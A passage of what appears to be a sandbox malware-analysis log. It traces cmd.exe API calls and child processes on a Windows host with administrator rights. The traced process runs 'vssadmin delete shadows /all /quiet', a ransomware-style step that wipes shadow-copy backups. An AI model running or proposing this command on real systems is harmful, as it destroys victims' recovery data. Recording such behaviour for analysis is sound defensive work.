_String2="PSModul", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0159.743] GetProcessHeap () returned 0x206da0a0000 [0159.743] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a6ef0) returned 1 [0159.743] GetProcessHeap () returned 0x206da0a0000 [0159.743] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x12) returned 0x206da0a6ef0 [0159.743] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.743] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0159.743] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.743] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0159.743] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x8484f8f1d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8484f8f1a8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x8484f8f1a8*(hProcess=0x94, hThread=0x98, dwProcessId=0xcdc, dwThreadId=0x380)) returned 1 [0159.748] CloseHandle (hObject=0x98) returned 1 [0159.748] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0159.748] GetProcessHeap () returned 0x206da0a0000 [0159.748] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0bb560) returned 1 [0159.748] GetEnvironmentStringsW () returned 0x206da0a5930* [0159.748] GetProcessHeap () returned 0x206da0a0000 [0159.748] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xaea) returned 0x206da0baa60 [0159.748] FreeEnvironmentStringsA (penv="=") returned 1 [0159.748] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0x8484f8e6a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x8484f8e6a8, ReturnLength=0x0) returned 0x0 [0159.748] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0x6da49fe000, lpBuffer=0x8484f8e6e0, nSize=0x7a0, lpNumberOfBytesRead=0x8484f8e6a0 | out: lpBuffer=0x8484f8e6e0*, lpNumberOfBytesRead=0x8484f8e6a0*=0x7a0) returned 1 [0159.748] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0159.872] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0x8484f8f128 | out: lpExitCode=0x8484f8f128*=0x2) returned 1 [0159.872] CloseHandle (hObject=0x94) returned 1 [0159.872] _vsnwprintf (in: _Buffer=0x8484f8f2f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x8484f8f138 | out: _Buffer="00000002") returned 8 [0159.872] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0159.872] GetProcessHeap () returned 0x206da0a0000 [0159.872] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0baa60) returned 1 [0159.872] GetEnvironmentStringsW () returned 0x206da0a5930* [0159.872] GetProcessHeap () returned 0x206da0a0000 [0159.872] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xaea) returned 0x206da0baa60 [0159.872] FreeEnvironmentStringsA (penv="=") returned 1 [0159.872] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0159.872] GetProcessHeap () returned 0x206da0a0000 [0159.872] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0baa60) returned 1 [0159.872] GetEnvironmentStringsW () returned 0x206da0a5930* [0159.872] GetProcessHeap () returned 0x206da0a0000 [0159.872] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xaea) returned 0x206da0baa60 [0159.872] FreeEnvironmentStringsA (penv="=") returned 1 [0159.872] GetProcessHeap () returned 0x206da0a0000 [0159.872] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a6ef0) returned 1 [0159.872] DeleteProcThreadAttributeList (in: lpAttributeList=0x8484f8f2b0 | out: lpAttributeList=0x8484f8f2b0) [0159.872] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0159.874] ??_V@YAXPEAX@Z () returned 0x1 [0159.874] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.874] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0159.874] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.874] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7d4abfc08 | out: lpMode=0x7ff7d4abfc08) returned 0 [0159.874] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.874] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7d4abfc0c | out: lpMode=0x7ff7d4abfc0c) returned 0 [0159.874] GetConsoleOutputCP () returned 0x4e3 [0159.874] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0159.874] SetThreadUILanguage (LangId=0x0) returned 0x409 [0159.874] GetProcessHeap () returned 0x206da0a0000 [0159.874] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b9c80) returned 1 [0159.874] GetProcessHeap () returned 0x206da0a0000 [0159.874] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b8ba0) returned 1 [0159.874] GetProcessHeap () returned 0x206da0a0000 [0159.874] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b9ac0) returned 1 [0159.874] GetProcessHeap () returned 0x206da0a0000 [0159.874] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0bc060) returned 1 [0159.874] GetProcessHeap () returned 0x206da0a0000 [0159.874] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b9200) returned 1 [0159.875] GetProcessHeap () returned 0x206da0a0000 [0159.875] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a8bb0) returned 1 [0159.875] GetProcessHeap () returned 0x206da0a0000 [0159.875] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b91b0) returned 1 [0159.875] GetProcessHeap () returned 0x206da0a0000 [0159.875] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a6c60) returned 1 [0159.875] GetProcessHeap () returned 0x206da0a0000 [0159.875] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a6e30) returned 1 [0159.875] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8484f8f6d8 | out: _Buffer="\r\n") returned 2 [0159.875] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.875] GetFileType (hFile=0x254) returned 0x3 [0159.875] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.875] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0159.875] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8484f8f6a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8f6a8*=0x2, lpOverlapped=0x0) returned 1 [0159.875] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0159.875] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x206da240080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0159.875] _vsnwprintf (in: _Buffer=0x206da250060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x8484f8f6e8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0159.875] _vsnwprintf (in: _Buffer=0x206da250086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x8484f8f6e8 | out: _Buffer=">") returned 1 [0159.875] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.875] GetFileType (hFile=0x254) returned 0x3 [0159.875] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.875] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0159.875] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x8484f8f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8f6d8*=0x14, lpOverlapped=0x0) returned 1 [0159.875] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.875] GetFileType (hFile=0x248) returned 0x3 [0159.875] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.875] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.875] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0159.875] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0159.875] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.875] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.875] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0159.875] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0159.876] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.876] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.876] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0159.876] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0159.876] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.876] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.876] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0159.876] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0159.876] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.876] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.876] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0159.876] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0159.876] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.876] GetFileType (hFile=0x248) returned 0x3 [0159.876] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.876] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.876] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.876] GetFileType (hFile=0x254) returned 0x3 [0159.876] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.876] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0159.876] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x8484f8f9d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8f9d8*=0x5, lpOverlapped=0x0) returned 1 [0159.876] GetProcessHeap () returned 0x206da0a0000 [0159.876] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x4012) returned 0x206da0a8bb0 [0159.876] GetProcessHeap () returned 0x206da0a0000 [0159.876] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a8bb0) returned 1 [0159.877] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0159.877] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0159.877] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0159.877] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0159.877] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0159.877] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0159.877] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0159.877] GetProcessHeap () returned 0x206da0a0000 [0159.877] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xb0) returned 0x206da0a6e30 [0159.877] GetProcessHeap () returned 0x206da0a0000 [0159.877] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x1a) returned 0x206da0a6c60 [0159.878] GetConsoleOutputCP () returned 0x4e3 [0159.878] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0159.878] SetThreadUILanguage (LangId=0x0) returned 0x409 [0159.878] GetConsoleTitleW (in: lpConsoleTitle=0x8484f8f820, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0159.878] malloc (_Size=0xffce) returned 0x206da260840 [0159.878] ??_V@YAXPEAX@Z () returned 0x206da260840 [0159.878] malloc (_Size=0xffce) returned 0x206da270820 [0159.878] ??_V@YAXPEAX@Z () returned 0x206da270820 [0159.879] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0159.879] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0159.879] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0159.879] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0159.879] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0159.879] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0159.879] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0159.879] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0159.879] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0159.879] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0159.879] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0159.879] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0159.879] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0159.879] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0159.879] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0159.879] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0159.879] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0159.879] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0159.879] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0159.879] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0159.879] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0159.879] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0159.879] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0159.879] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0159.879] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0159.879] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0159.879] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0159.879] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0159.879] ??_V@YAXPEAX@Z () returned 0x1 [0159.879] GetProcessHeap () returned 0x206da0a0000 [0159.879] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x14) returned 0x206da0a0810 [0159.879] GetProcessHeap () returned 0x206da0a0000 [0159.879] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x1a) returned 0x206da0a6ef0 [0159.879] GetProcessHeap () returned 0x206da0a0000 [0159.879] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x21c) returned 0x206da0a17d0 [0159.879] GetConsoleTitleW (in: lpConsoleTitle=0x206da0a17e0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0159.879] GetProcessHeap () returned 0x206da0a0000 [0159.880] RtlReAllocateHeap (Heap=0x206da0a0000, Flags=0x0, Ptr=0x206da0a17d0, Size=0x82) returned 0x206da0a17d0 [0159.880] GetProcessHeap () returned 0x206da0a0000 [0159.880] RtlSizeHeap (HeapHandle=0x206da0a0000, Flags=0x0, MemoryPointer=0x206da0a17d0) returned 0x82 [0159.880] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0159.881] GetProcessHeap () returned 0x206da0a0000 [0159.881] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a17d0) returned 1 [0159.881] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0159.882] exit (_Code=2) Thread: id = 112 os_tid = 0x90c Process: id = "16" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x5507c000" os_pid = "0xfbc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xf98" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 94 os_tid = 0xfc0 Thread: id = 105 os_tid = 0xfec Thread: id = 106 os_tid = 0xff0 Thread: id = 108 os_tid = 0xff8 Thread: id = 110 os_tid = 0xbc8 Process: id = "17" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x58418000" os_pid = "0xc94" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xf98" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 113 os_tid = 0xcc0 Thread: id = 114 os_tid = 0xcd4 Process: id = "18" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x59ecf000" os_pid = "0xcdc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xf98" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 115 os_tid = 0x380 Thread: id = 116 os_tid = 0xcec Thread: id = 117 os_tid = 0xcf0 Thread: id = 118 os_tid = 0x4ec Thread: id = 119 os_tid = 0x4f4